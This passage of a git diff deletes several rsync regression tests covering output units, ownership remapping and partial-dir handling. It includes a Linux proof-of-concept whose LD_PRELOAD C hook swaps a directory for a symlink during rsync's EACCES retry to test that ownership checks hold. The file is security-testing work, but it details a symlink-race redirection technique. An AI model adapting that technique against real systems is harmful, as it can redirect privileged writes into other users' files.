K/M/G suffix (\"50.00K\"). Use a file big enough that the two forms differ.\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src)\n-make_data_file(src / 'big', 50_000)\n-plain = out('-a', '--stats', f'{src}/', f'{TODIR}/').stdout\n-rmtree(TODIR)\n-human = out('-a', '-h', '--stats', f'{src}/', f'{TODIR}/').stdout\n-suffix_re = r'Total file size: [\\d,.]+[KMG]'\n-if not re.search(suffix_re, human):\n-    test_fail(f\"-h did not use a human-readable unit suffix:\\n{human}\")\n-if re.search(suffix_re, plain):\n-    test_fail(f\"--stats without -h unexpectedly used a unit suffix:\\n{plain}\")\n-\n-for label, options, progress_re in (\n-    ('default', (), r'50[,.]000B\\s+100%\\s+[\\d,.]+[KMGTPE]B/s'),\n-    ('--no-h', ('--no-h',), r'50000B\\s+100%\\s+\\d+B/s'),\n-    ('-h', ('-h',), r'50[,.]0KB\\s+100%\\s+[\\d,.]+[KMGTPE]B/s'),\n-    ('-hh', ('-hh',), r'48[,.]8KiB\\s+100%\\s+[\\d,.]+[KMGTPE]iB/s'),\n-):\n-    rmtree(TODIR)\n-    progress = out('-a', '--progress', *options, f'{src}/', f'{TODIR}/').stdout\n-    if not re.search(progress_re, progress):\n-        test_fail(f\"{label} progress output has the wrong units:\\n{progress}\")\n-\n-rmtree(TODIR)\n-human_binary = out('-a', '-hh', '--stats', f'{src}/', f'{TODIR}/').stdout\n-if not re.search(r'Total file size: 48[,.]8Ki bytes', human_binary):\n-    test_fail(f\"-hh did not use dynamic binary-unit precision:\\n{human_binary}\")\n-\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src)\n-make_data_file(src / 'threshold', 1024)\n-threshold = out('-a', '-hh', '--stats', f'{src}/', f'{TODIR}/').stdout\n-if not re.search(r'Total file size: 1[,.]00Ki bytes', threshold):\n-    test_fail(f\"-hh did not show an exact-threshold binary unit:\\n{threshold}\")\n-\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src)\n-make_data_file(src / 'below-threshold', 1000)\n-below_threshold = out('-a', '-hh', '--stats', f'{src}/', f'{TODIR}/').stdout\n-if not re.search(r'Total file size: 1[,.]000 bytes', below_threshold):\n-    test_fail(\"-hh should preserve raw byte formatting below the binary-unit \"\n-              f\"threshold:\\n{below_threshold}\")\n-\n-# File-list counts are grouped like other counts, and never get a unit suffix.\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src)\n-for i in range(999):\n-    (src / f'f{i}').touch()\n-counts = out('-a', '-hh', '--progress', '--no-i-r', f'{src}/', f'{TODIR}/').stdout\n-if not re.search(r'1[,.]000 files to consider', counts):\n-    test_fail(f\"file-list count was not grouped:\\n{counts}\")\n-rmtree(TODIR)\n-counts = out('-a', '--no-h', '--progress', '--no-i-r', f'{src}/', f'{TODIR}/').stdout\n-if '1000 files to consider' not in counts:\n-    test_fail(f\"--no-h file-list count was not plain digits:\\n{counts}\")\n-\n-# --- -8 / --8-bit-output leaves high-bit filename bytes unescaped ------------\n-# rsync escapes non-printable name bytes as \\#NNN; -8 prints 8-bit bytes raw.\n-# This needs a filename containing a high-bit byte and a C locale (where such a\n-# byte is non-printable). Best-effort: skip silently where the filesystem can't\n-# store the raw byte (macOS/Cygwin may reject or normalise it).\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src)\n-weird = os.fsencode(str(src)) + b'/hi\\xf9name'   # 0xf9 -> octal 371\n-try:\n-    with open(weird, 'wb') as f:\n-        f.write(b\"x\\n\")\n-    weird_ok = True\n-except OSError:\n-    weird_ok = False\n-\n-if weird_ok:\n-    cenv = dict(os.environ, LC_ALL='C')\n-    makepath(TODIR)\n-    noesc = out('-ai', f'{src}/', f'{TODIR}/', env=cenv, text=False)\n-    if rb'\\#371' in noesc.stdout:        # FS preserved the raw byte as expected\n-        rmtree(TODIR)\n-        makepath(TODIR)\n-        esc = out('-ai', '-8', f'{src}/', f'{TODIR}/', env=cenv, text=False)\n-        if rb'\\#371' in esc.stdout:\n-            test_fail(\"-8 should leave the high-bit name byte unescaped, but \"\n-                      f\"the \\\\#371 escape was still present:\\n{esc.stdout!r}\")\n-\n-print(\"output-options: version/help/-i/-n/--stats/--out-format/--list-only/\"\n-      \"-q/--progress/-h/-8 verified\")\ndiff --git a/testsuite/ownership-depth_test.py b/testsuite/ownership-depth_test.py\ndeleted file mode 100644\nindex f4df789..0000000\n--- a/testsuite/ownership-depth_test.py\n+++ /dev/null\n@@ -1,121 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of --groupmap / --chown / --usermap / -o at depth.\n-\n-Remapping is applied to a file AND a directory at every level. As root we can\n-remap to an arbitrary uid/gid (root may always chown/chgrp), so the uid side is\n-covered too. As a normal user we can still remap the group to a secondary group\n-we belong to; the uid side then needs root and is skipped.\n-\"\"\"\n-\n-# Rerun under the fleet harness's non-root pass (testsuite/fleettest.py): the uid\n-# remap only runs as root, so a non-root run exercises the group-only path too.\n-fleet_nonroot = True\n-\n-import grp\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    get_rootuid, get_testuid, make_tree, rmtree, rsync_getgroups, run_rsync,\n-    test_fail, test_skipped, walk_dirs, walk_files,\n-)\n-\n-src = FROMDIR\n-is_root = get_testuid() == get_rootuid()\n-prim = os.getgid()\n-\n-\n-def seed():\n-    rmtree(src)\n-    rmtree(TODIR)\n-    make_tree(src, depth=3)\n-    entries = [p.relative_to(src) for p in (walk_dirs(src) + walk_files(src))]\n-    # Normalise the source group so a prim->target remap is observable.\n-    for rel in entries:\n-        if os.stat(src / rel).st_gid != prim:\n-            os.chown(src / rel, -1, prim)\n-    return entries\n-\n-\n-def assert_all(entries, *, gid=None, uid=None, label=''):\n-    for rel in entries:\n-        st = os.stat(TODIR / rel)\n-        if gid is not None and st.st_gid != gid:\n-            test_fail(f\"{label}: group of {rel} is {st.st_gid}, expected {gid}\")\n-        if uid is not None and st.st_uid != uid:\n-            test_fail(f\"{label}: owner of {rel} is {st.st_uid}, expected {uid}\")\n-\n-\n-try:\n-    grp.getgrgid(prim)\n-    prim_has_name = True\n-except KeyError:\n-    prim_has_name = False\n-\n-\n-if is_root:\n-    # Root may assign any numeric id (it need not exist); pick targets that\n-    # differ from the source's ids so the remap is observable.\n-    target_gid = 1 if prim == 0 else 0\n-    target_uid = 1 if get_testuid() == 0 else 0\n-\n-    entries = seed()\n-    run_rsync('-a', f'--groupmap={prim}:{target_gid}', f'{src}/', f'{TODIR}/')\n-    assert_all(entries, gid=target_gid, label='--groupmap (root)')\n-\n-    entries = seed()\n-    run_rsync('-a', f'--groupmap=*:{target_gid}', f'{src}/', f'{TODIR}/')\n-    assert_all(entries, gid=target_gid, label='--groupmap wildcard (root)')\n-\n-    if prim_has_name:\n-        entries = seed()\n-        run_rsync('-a', f'--groupmap=:{target_gid}', f'{src}/', f'{TODIR}/')\n-        assert_all(entries, gid=prim, label='--groupmap empty named group (root)')\n-\n-    entries = seed()\n-    run_rsync('-a', '--numeric-ids', f'--groupmap=:{target_gid}',\n-              f'{src}/', f'{TODIR}/')\n-    assert_all(entries, gid=target_gid, label='--groupmap empty nameless group (root)')\n-\n-    entries = seed()\n-    run_rsync('-a', f'--chown=:{target_gid}', f'{src}/', f'{TODIR}/')\n-    assert_all(entries, gid=target_gid, label='--chown group (root)')\n-\n-    entries = seed()\n-    run_rsync('-a', f'--usermap=*:{target_uid}', f'{src}/', f'{TODIR}/')\n-    assert_all(entries, uid=target_uid, label='--usermap (root)')\n-\n-    entries = seed()\n-    run_rsync('-a', f'--chown={target_uid}:{target_gid}', f'{src}/', f'{TODIR}/')\n-    assert_all(entries, uid=target_uid, gid=target_gid,\n-               label='--chown user:group (root)')\n-    print(\"ownership-depth: --groupmap/--chown/--usermap verified at depth (root)\")\n-else:\n-    groups = [int(g) for g in rsync_getgroups()]\n-    secs = [g for g in groups if g != prim]\n-    if not secs:\n-        test_skipped(\"non-root with no secondary group to remap to\")\n-    sec = secs[0]\n-\n-    entries = seed()\n-    run_rsync('-a', f'--groupmap={prim}:{sec}', f'{src}/', f'{TODIR}/')\n-    assert_all(entries, gid=sec, label='--groupmap')\n-\n-    entries = seed()\n-    run_rsync('-a', f'--groupmap=*:{sec}', f'{src}/', f'{TODIR}/')\n-    assert_all(entries, gid=sec, label='--groupmap wildcard')\n-\n-    if prim_has_name:\n-        entries = seed()\n-        run_rsync('-a', f'--groupmap=:{sec}', f'{src}/', f'{TODIR}/')\n-        assert_all(entries, gid=prim, label='--groupmap empty named group')\n-\n-    entries = seed()\n-    run_rsync('-a', '--numeric-ids', f'--groupmap=:{sec}', f'{src}/', f'{TODIR}/')\n-    assert_all(entries, gid=sec, label='--groupmap empty nameless group')\n-\n-    entries = seed()\n-    run_rsync('-a', f'--chown=:{sec}', f'{src}/', f'{TODIR}/')\n-    assert_all(entries, gid=sec, label='--chown group')\n-    print(\"ownership-depth: --groupmap/--chown group remap verified at depth \"\n-          \"(-o/--usermap user remap needs root -- skipped)\")\ndiff --git a/testsuite/partial-dir-abs-delta_test.py b/testsuite/partial-dir-abs-delta_test.py\ndeleted file mode 100644\nindex 344396f..0000000\n--- a/testsuite/partial-dir-abs-delta_test.py\n+++ /dev/null\n@@ -1,76 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression guard: a --no-whole-file delta whose basis is reached via an\n-# ABSOLUTE --partial-dir must reconstruct correctly, not spuriously fail\n-# verification and strand the data in the partial-dir.\n-#\n-# This locks in the fix for the \"failed verification\" family reported as #724\n-# (and the FreeBSD lseek variant #725): an interrupted/delta transfer resumed\n-# against an absolute --partial-dir looped on exit code 23\n-# (\"failed verification -- update put into partial-dir\"), leaving the correct\n-# data in the partial-dir and never populating the destination.\n-#\n-# Root cause (same as #897): the receiver opened the basis with\n-# secure_relative_open(NULL, fnamecmp, ...), whose front door rejects an\n-# ABSOLUTE relpath with EINVAL. An absolute --partial-dir makes fnamecmp\n-# absolute, so the basis fd was -1, no basis was mapped, and the matched-block\n-# sum_update() (guarded by `if (mapbuf)`) was skipped -- so the whole-file\n-# verification checksum was computed over the literal data only and always\n-# mismatched, even though the in-place bytes were correct. Fixed by\n-# secure_basis_open() (commit 31fbb17d), which treats an operator-trusted\n-# absolute basis as (trusted dir + O_NOFOLLOW leaf).\n-#\n-# Deterministic (the partial-dir file IS the delta basis, so matched blocks are\n-# guaranteed) and portable: no daemon, no ZFS, any uid. Unlike the flaky\n-# --copy-dest/--backup-dir manifestations of the same bug, this reproduces every\n-# run. PASS on the fixed base; on a broken rsync (3.4.0..3.4.3) it FAILS with\n-# rc=23 + \"failed verification\" and the destination file missing/wrong.\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, make_data_file, makepath, rmtree, rsync_argv, test_fail,\n-)\n-\n-src = SCRATCHDIR / 'pdsrc'\n-dst = SCRATCHDIR / 'pddst'\n-partial = SCRATCHDIR / 'pdpartial'      # an ABSOLUTE --partial-dir\n-for d in (src, dst, partial):\n-    rmtree(d)\n-makepath(src, dst, partial)\n-\n-# The file to transfer, and a near-copy in the partial-dir to serve as the\n-# delta basis (a few changed bytes mid-file => a real delta with matched blocks).\n-make_data_file(src / 'big.dat', 1200 * 1024)\n-import shutil\n-shutil.copy2(src / 'big.dat', partial / 'big.dat')\n-with open(partial / 'big.dat', 'r+b') as fh:\n-    fh.seek(600000)\n-    fh.write(b'PARTIALDIR_BASIS_DELTA')\n-\n-# Absolute --partial-dir => the receiver's basis path (fnamecmp) is absolute.\n-proc = subprocess.run(\n-    rsync_argv('-a', '--no-whole-file', '--partial',\n-               f'--partial-dir={partial}', f'{src}/', f'{dst}/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-out = proc.stdout or ''\n-print(out)\n-\n-if 'failed verification' in out or 'lseek returned' in out:\n-    test_fail(\n-        \"#724/#725: absolute --partial-dir delta resume spuriously failed \"\n-        \"verification (the receiver opened the absolute basis via \"\n-        \"secure_relative_open(NULL, abs) -> EINVAL -> no basis mapped -> the \"\n-        \"matched blocks were dropped from the verify checksum). Expected the \"\n-        \"secure_basis_open() fix (31fbb17d) to reconstruct correctly:\\n\" + out)\n-\n-got = dst / 'big.dat'\n-if proc.returncode != 0:\n-    test_fail(f\"absolute --partial-dir delta transfer failed (rc=\"\n-              f\"{proc.returncode}); the data was likely stranded in the \"\n-              f\"partial-dir:\\n{out}\")\n-if not got.is_file():\n-    test_fail(f\"destination file {got} was not created -- data stranded in the \"\n-              f\"absolute --partial-dir (the #724/#725 symptom)\")\n-if not __import__('filecmp').cmp(str(src / 'big.dat'), str(got), shallow=False):\n-    test_fail(\"destination content differs from source after an absolute \"\n-              \"--partial-dir delta resume\")\ndiff --git a/testsuite/partial-protected-regular-retry-linux_test.py b/testsuite/partial-protected-regular-retry-linux_test.py\ndeleted file mode 100644\nindex 0cb80c2..0000000\n--- a/testsuite/partial-protected-regular-retry-linux_test.py\n+++ /dev/null\n@@ -1,512 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"PoC: EACCES recovery must retain partial-dir ownership policy (Linux).\n-\n-Linux twin of partial-protected-regular-retry-policy_test.py, which runs only\n-under dyld interposing.  It covers the recovery arm that test cannot reach:\n-the fs.protected_regular compatibility retry, i.e. the \"#ifdef linux\" arm of\n-recv_files(), which is not compiled on Darwin.  Between them the two tests\n-cover both arms (Darwin's first EACCES goes straight to the generic\n-read-only-file chmod-and-reopen recovery, there being no Linux arm there).\n-\n-The one-inplace partial leaf is first opened through the operator ownership\n-walk.  The hook models an EACCES from that O_CREAT open and swaps the partial\n-directory for a symlink in the exact recovery window.  A retry that drops to\n-the ordinary resolver follows the new parent with no ownership check and\n-writes the remote payload into a different file; one that keeps the walk\n-refuses the foreign-owned symlink.\n-\"\"\"\n-\n-import os\n-import platform\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, forced_protocol, rmtree, rsync_argv, test_fail, test_skipped,\n-)\n-\n-\n-if platform.system() != 'Linux':\n-    test_skipped('LD_PRELOAD partial EACCES recovery hook is Linux-only')\n-\n-# one_inplace staging needs inplace_partial, which is negotiated through the\n-# protocol-30 CF_INPLACE_PARTIAL_DIR capability flag.  Below that the receiver\n-# uses the ordinary tmpfile path and the recovery under test never runs.\n-_proto = forced_protocol()\n-if _proto is not None and _proto < 30:\n-    test_skipped(f'one-inplace partial staging needs protocol >= 30 (forced {_proto})')\n-\n-hook_code = r'''\n-#define _GNU_SOURCE\n-/* Build the hook itself WITHOUT large-file redirection, whatever the compiler\n- * defaults to.  Debian's armhf/hppa/powerpc gcc predefines\n- * -D_FILE_OFFSET_BITS=64 -D_TIME_BITS=64 (check with \"gcc -v -E -\"), and under\n- * those macros glibc's __REDIRECT renames the DEFINITIONS below -- open()\n- * becomes open64(), fstatat() becomes __fstatat64_time64() -- which then\n- * collide with the explicit large-file wrappers further down (\"symbol `open64'\n- * is already defined\").  Undefining them here keeps each name declared exactly\n- * once, so the hook always exports both spellings and interposes whichever set\n- * the rsync under test was linked against. */\n-#undef _FILE_OFFSET_BITS\n-#undef _TIME_BITS\n-#include <sys/stat.h>\n-#include <sys/syscall.h>\n-#include <sys/types.h>\n-#include <dlfcn.h>\n-#include <errno.h>\n-#include <fcntl.h>\n-#include <limits.h>\n-#include <stdarg.h>\n-#include <stdio.h>\n-#include <stdlib.h>\n-#include <string.h>\n-#include <unistd.h>\n-\n-static int swapped;\n-\n-static int (*real_open)(const char *, int, ...);\n-static int (*real_openat)(int, const char *, int, ...);\n-static int (*real_fstatat)(int, const char *, struct stat *, int);\n-static int (*real_fxstatat)(int, int, const char *, struct stat *, int);\n-static int (*real_fstatat64)(int, const char *, struct stat64 *, int);\n-static int (*real_fxstatat64)(int, int, const char *, struct stat64 *, int);\n-static int (*real_fstatat64_time64)(int, const char *, struct stat64 *, int);\n-\n-/* Resolve on demand rather than trusting our constructor to have run.  A\n- * preloaded open() interposes for the whole process the moment the loader maps\n- * us, including calls made from OTHER libraries' constructors -- and the order\n- * constructors run between unrelated shared objects is unspecified.  On\n- * AlmaLinux 8, OPENSSL_init_library() calls open() from its constructor before\n- * ours runs, so a plain \"resolved in the constructor\" pointer is still NULL and\n- * the process dies with SIGSEGV inside the loader. */\n-/* If dlsym() itself reaches an interposed function, the nested wrapper must\n- * not recurse back into resolution -- it takes the raw path instead. */\n-static __thread int hook_resolving;\n-\n-static void hook_resolve(void)\n-{\n-    if (hook_resolving)\n-        return;\n-    hook_resolving = 1;\n-    if (!real_open)     real_open     = dlsym(RTLD_NEXT, \"open\");\n-    if (!real_openat)   real_openat   = dlsym(RTLD_NEXT, \"openat\");\n-    if (!real_fstatat)  real_fstatat  = dlsym(RTLD_NEXT, \"fstatat\");\n-    if (!real_fxstatat) real_fxstatat = dlsym(RTLD_NEXT, \"__fxstatat\");\n-    if (!real_fstatat64)  real_fstatat64  = dlsym(RTLD_NEXT, \"fstatat64\");\n-    if (!real_fxstatat64) real_fxstatat64 = dlsym(RTLD_NEXT, \"__fxstatat64\");\n-    if (!real_fstatat64_time64)\n-        real_fstatat64_time64 = dlsym(RTLD_NEXT, \"__fstatat64_time64\");\n-    hook_resolving = 0;\n-}\n-\n-/* Last-resort passthrough if even dlsym() is unusable this early.  openat(2)\n- * rather than open(2): open is not a syscall on every architecture. */\n-static int raw_openat(int dfd, const char *path, int flags, mode_t mode)\n-{\n-    return (int)syscall(SYS_openat, dfd, path, flags, mode);\n-}\n-\n-static void mark(const char *path)\n-{\n-    int fd;\n-    hook_resolve();\n-    if (!path)\n-        return;\n-    fd = real_open ? real_open(path, O_WRONLY | O_CREAT | O_EXCL, 0600)\n-                   : raw_openat(AT_FDCWD, path, O_WRONLY | O_CREAT | O_EXCL, 0600);\n-    if (fd >= 0)\n-        close(fd);\n-}\n-\n-/* Darwin's F_GETPATH equivalent. */\n-static int fd_path_is(int fd, const char *wanted)\n-{\n-    char procpath[64], path[PATH_MAX];\n-    ssize_t n;\n-\n-    if (!wanted || fd < 0)\n-        return 0;\n-    snprintf(procpath, sizeof procpath, \"/proc/self/fd/%d\", fd);\n-    n = readlink(procpath, path, sizeof path - 1);\n-    if (n < 0)\n-        return 0;\n-    path[n] = '\\0';\n-    return strcmp(path, wanted) == 0;\n-}\n-\n-static void restore_partial(void)\n-{\n-    const char *partial = getenv(\"RSYNC_PARTIAL_RETRY_DIR\");\n-    const char *held = getenv(\"RSYNC_PARTIAL_RETRY_HELD\");\n-    if (swapped && partial && held) {\n-        unlink(partial);\n-        if (rename(held, partial) == 0)\n-            swapped = 0;\n-    }\n-}\n-\n-/* Swap the partial dir for a symlink and report EACCES, exactly as\n- * fs.protected_regular would on the O_CREAT open of an existing leaf. */\n-static int swap_and_deny(void)\n-{\n-    const char *partial = getenv(\"RSYNC_PARTIAL_RETRY_DIR\");\n-    const char *held = getenv(\"RSYNC_PARTIAL_RETRY_HELD\");\n-    if (partial && held && rename(partial, held) == 0\n-        && symlink(\"secret\", partial) == 0) {\n-        swapped = 1;\n-        mark(getenv(\"RSYNC_PARTIAL_RETRY_EACCES_MARKER\"));\n-        errno = EACCES;\n-        return -1;\n-    }\n-    restore_partial();\n-    return 0;   /* caller falls through to the real call */\n-}\n-\n-#ifdef O_TMPFILE\n-/* O_TMPFILE is (__O_TMPFILE | O_DIRECTORY) on Linux, so a plain & test would\n- * also match an ordinary O_DIRECTORY open. */\n-# define HOOK_TAKES_MODE(f) (((f) & O_CREAT) || (((f) & O_TMPFILE) == O_TMPFILE))\n-#else\n-# define HOOK_TAKES_MODE(f) ((f) & O_CREAT)\n-#endif\n-\n-#ifndef O_LARGEFILE\n-# define O_LARGEFILE 0\n-#endif\n-\n-static int is_victim_write(const char *path, int flags)\n-{\n-    return path && strcmp(path, \"victim\") == 0\n-        && (flags & O_ACCMODE) == O_WRONLY;\n-}\n-\n-int openat(int dfd, const char *path, int flags, ...)\n-{\n-    const char *partial, *secret;\n-    mode_t mode = 0;\n-    int fd, saved_errno;\n-\n-    hook_resolve();\n-    partial = getenv(\"RSYNC_PARTIAL_RETRY_DIR\");\n-    secret = getenv(\"RSYNC_PARTIAL_RETRY_SECRET\");\n-\n-    if (HOOK_TAKES_MODE(flags)) {\n-        va_list ap;\n-        va_start(ap, flags);\n-        mode = (mode_t)va_arg(ap, int);\n-        va_end(ap);\n-    }\n-\n-    if (!swapped && is_victim_write(path, flags) && (flags & O_CREAT)\n-        && fd_path_is(dfd, partial)) {\n-        if (swap_and_deny() < 0)\n-            return -1;\n-    }\n-\n-    fd = real_openat ? real_openat(dfd, path, flags, mode)\n-                     : raw_openat(dfd, path, flags, mode);\n-    saved_errno = errno;\n-\n-    /* An unconfined retry resolves the swapped parent and lands in the secret\n-     * dir.  Pin the evidence, then restore the name so later finalization\n-     * cannot disguise which file was written. */\n-    if (swapped && fd >= 0 && is_victim_write(path, flags)\n-        && !(flags & O_CREAT) && fd_path_is(dfd, secret)) {\n-        mark(getenv(\"RSYNC_PARTIAL_RETRY_OPEN_MARKER\"));\n-        restore_partial();\n-    }\n-    errno = saved_errno;\n-    return fd;\n-}\n-\n-int open(const char *path, int flags, ...)\n-{\n-    mode_t mode = 0;\n-    int fd, saved_errno;\n-\n-    hook_resolve();\n-\n-    if (HOOK_TAKES_MODE(flags)) {\n-        va_list ap;\n-        va_start(ap, flags);\n-        mode = (mode_t)va_arg(ap, int);\n-        va_end(ap);\n-    }\n-\n-    if (!swapped && path && strstr(path, \"pdir/victim\")\n-        && (flags & O_ACCMODE) == O_WRONLY && (flags & O_CREAT)) {\n-        if (swap_and_deny() < 0)\n-            return -1;\n-    }\n-\n-    fd = real_open ? real_open(path, flags, mode)\n-                   : raw_openat(AT_FDCWD, path, flags, mode);\n-    saved_errno = errno;\n-\n-    /* The pre-fix recovery uses plain open() on the full pathname, which walks\n-     * the swapped symlink with no ownership check. */\n-    if (swapped && fd >= 0 && path && strstr(path, \"pdir/victim\")\n-        && (flags & O_ACCMODE) == O_WRONLY && !(flags & O_CREAT)) {\n-        mark(getenv(\"RSYNC_PARTIAL_RETRY_OPEN_MARKER\"));\n-        restore_partial();\n-    }\n-    errno = saved_errno;\n-    return fd;\n-}\n-\n-/* --- large-file spellings -------------------------------------------------\n- * Which names the RECEIVER calls is settled by its own build: where off_t is\n- * not already 64 bits, configure's AC_SYS_LARGEFILE adds -D_FILE_OFFSET_BITS=64\n- * (i386, alpha, ...), and distro CPPFLAGS add it -- along with -D_TIME_BITS=64\n- * -- on the 64-bit time_t ports, so glibc redirects each open()/openat()/\n- * fstatat() call to open64()/openat64()/fstatat64()/__fstatat64_time64().\n- * \"objdump -T rsync | grep UND\" says which set a given build imports.\n- *\n- * Which names THIS HOOK exports is a different question with a different\n- * answer, settled by whatever the \"cc\" below it defaults to -- see the #undef\n- * at the top.  Nothing keeps the two in step, so define every spelling and let\n- * the loader match them up.  With only the unsuffixed ones the receiver's opens\n- * sail straight past the hook, no EACCES is ever injected, and the test reports\n- * \"positive control failed\" having exercised nothing at all.\n- *\n- * O_LARGEFILE is the only thing open64() adds over open(), so the wrappers\n- * below can hand the call to the unsuffixed interposer above. */\n-int open64(const char *path, int flags, ...)\n-{\n-    mode_t mode = 0;\n-\n-    if (HOOK_TAKES_MODE(flags)) {\n-        va_list ap;\n-        va_start(ap, flags);\n-        mode = (mode_t)va_arg(ap, int);\n-        va_end(ap);\n-    }\n-    return open(path, flags | O_LARGEFILE, mode);\n-}\n-\n-int openat64(int dfd, const char *path, int flags, ...)\n-{\n-    mode_t mode = 0;\n-\n-    if (HOOK_TAKES_MODE(flags)) {\n-        va_list ap;\n-        va_start(ap, flags);\n-        mode = (mode_t)va_arg(ap, int);\n-        va_end(ap);\n-    }\n-    return openat(dfd, path, flags | O_LARGEFILE, mode);\n-}\n-\n-/* ona_open() decides via fstatat(..., AT_SYMLINK_NOFOLLOW) and refuses a\n- * component owned by neither root nor the euid.  Model the attacker as a\n- * different uid so a retry that kept the ownership walk refuses the swap. */\n-static void model_foreign_owner(int rc, const char *path, struct stat *st)\n-{\n-    if (rc == 0 && swapped && path && strcmp(path, \"pdir\") == 0\n-        && S_ISLNK(st->st_mode)) {\n-        st->st_uid = geteuid() + 1;\n-        mark(getenv(\"RSYNC_PARTIAL_RETRY_FOREIGN_MARKER\"));\n-    }\n-}\n-\n-int fstatat(int dfd, const char *path, struct stat *st, int flags)\n-{\n-    int rc, saved_errno;\n-\n-    hook_resolve();\n-    if (!real_fstatat) {\n-        errno = ENOSYS;\n-        return -1;\n-    }\n-    rc = real_fstatat(dfd, path, st, flags);\n-    saved_errno = errno;\n-    model_foreign_owner(rc, path, st);\n-    errno = saved_errno;\n-    return rc;\n-}\n-\n-/* glibc < 2.33 routes fstatat() through __fxstatat(). */\n-int __fxstatat(int ver, int dfd, const char *path, struct stat *st, int flags)\n-{\n-    int rc, saved_errno;\n-\n-    hook_resolve();\n-    if (!real_fxstatat) {\n-        errno = ENOSYS;\n-        return -1;\n-    }\n-    rc = real_fxstatat(ver, dfd, path, st, flags);\n-    saved_errno = errno;\n-    model_foreign_owner(rc, path, st);\n-    errno = saved_errno;\n-    return rc;\n-}\n-\n-/* The stat family's large-file spellings.  st_mode and st_uid sit ahead of the\n- * timestamps in every glibc struct stat layout, so the time32/time64 variants\n- * of the buffer are interchangeable for the two fields touched here. */\n-static void model_foreign_owner64(int rc, const char *path, struct stat64 *st)\n-{\n-    if (rc == 0 && swapped && path && strcmp(path, \"pdir\") == 0\n-        && S_ISLNK(st->st_mode)) {\n-        st->st_uid = geteuid() + 1;\n-        mark(getenv(\"RSYNC_PARTIAL_RETRY_FOREIGN_MARKER\"));\n-    }\n-}\n-\n-int fstatat64(int dfd, const char *path, struct stat64 *st, int flags)\n-{\n-    int rc, saved_errno;\n-\n-    hook_resolve();\n-    if (!real_fstatat64) {\n-        errno = ENOSYS;\n-        return -1;\n-    }\n-    rc = real_fstatat64(dfd, path, st, flags);\n-    saved_errno = errno;\n-    model_foreign_owner64(rc, path, st);\n-    errno = saved_errno;\n-    return rc;\n-}\n-\n-int __fxstatat64(int ver, int dfd, const char *path, struct stat64 *st, int flags)\n-{\n-    int rc, saved_errno;\n-\n-    hook_resolve();\n-    if (!real_fxstatat64) {\n-        errno = ENOSYS;\n-        return -1;\n-    }\n-    rc = real_fxstatat64(ver, dfd, path, st, flags);\n-    saved_errno = errno;\n-    model_foreign_owner64(rc, path, st);\n-    errno = saved_errno;\n-    return rc;\n-}\n-\n-/* A 32-bit port built with -D_TIME_BITS=64 (Debian's armhf/armel/hppa/powerpc,\n- * ...) reaches fstatat() under this third name. */\n-int __fstatat64_time64(int dfd, const char *path, struct stat64 *st, int flags)\n-{\n-    int rc, saved_errno;\n-\n-    hook_resolve();\n-    if (!real_fstatat64_time64) {\n-        errno = ENOSYS;\n-        return -1;\n-    }\n-    rc = real_fstatat64_time64(dfd, path, st, flags);\n-    saved_errno = errno;\n-    model_foreign_owner64(rc, path, st);\n-    errno = saved_errno;\n-    return rc;\n-}\n-\n-__attribute__((constructor)) static void hook_loaded(void)\n-{\n-    hook_resolve();\n-    mark(getenv(\"RSYNC_PARTIAL_RETRY_LOAD_MARKER\"));\n-}\n-\n-__attribute__((destructor)) static void hook_unload(void)\n-{\n-    restore_partial();\n-}\n-'''\n-\n-\n-def run():\n-    base = SCRATCHDIR / 'partial-protected-regular-retry-linux'\n-    rmtree(base)\n-    src = base / 'src'\n-    mod = base / 'mod'\n-    partial = mod / 'pdir'\n-    held = mod / '.pdir-held'\n-    secret = mod / 'secret'\n-    markers = {\n-        'load': base / 'hook-loaded',\n-        'eacces': base / 'operator-open-eacces',\n-        'retry': base / 'unconfined-retry-open',\n-        'foreign': base / 'owner-check-would-refuse',\n-    }\n-    for directory in (src, partial, secret):\n-        directory.mkdir(parents=True)\n-\n-    old_partial = b'OLD-PARTIAL-BASIS-' * 4096\n-    new_source = b'NEW-REMOTE-PAYLOAD' * 4096\n-    secret_data = b'OTHER-USER-SECRET!' * 4096\n-    if not (len(old_partial) == len(new_source) == len(secret_data)):\n-        raise AssertionError('PoC payloads must be equal length')\n-    (partial / 'victim').write_bytes(old_partial)\n-    (secret / 'victim').write_bytes(secret_data)\n-    (src / 'victim').write_bytes(new_source)\n-\n-    hook_src = base / 'hook.c'\n-    hook_lib = base / 'hook.so'\n-    hook_src.write_text(hook_code)\n-    build = subprocess.run(\n-        ['cc', '-shared', '-fPIC', '-o', str(hook_lib), str(hook_src), '-ldl'],\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-    if build.returncode != 0:\n-        test_skipped(f'cannot build LD_PRELOAD partial retry hook: {build.stdout!r}')\n-\n-    run_env = os.environ.copy()\n-    run_env.update({\n-        'LD_PRELOAD': str(hook_lib),\n-        'RSYNC_PARTIAL_RETRY_DIR': str(partial),\n-        'RSYNC_PARTIAL_RETRY_HELD': str(held),\n-        'RSYNC_PARTIAL_RETRY_SECRET': str(secret),\n-        'RSYNC_PARTIAL_RETRY_LOAD_MARKER': str(markers['load']),\n-        'RSYNC_PARTIAL_RETRY_EACCES_MARKER': str(markers['eacces']),\n-        'RSYNC_PARTIAL_RETRY_OPEN_MARKER': str(markers['retry']),\n-        'RSYNC_PARTIAL_RETRY_FOREIGN_MARKER': str(markers['foreign']),\n-    })\n-\n-    result = subprocess.run(\n-        rsync_argv('-rtI', '--partial', '--partial-dir=pdir',\n-                   '--no-inc-recursive', f'{src}/', f'{mod}/'),\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, env=run_env)\n-\n-    if held.exists():\n-        if partial.is_symlink():\n-            partial.unlink()\n-        held.rename(partial)\n-\n-    ctx = f'rc={result.returncode}, output={result.stdout!r}'\n-    # A negative returncode is death by signal.  That is never a reason to 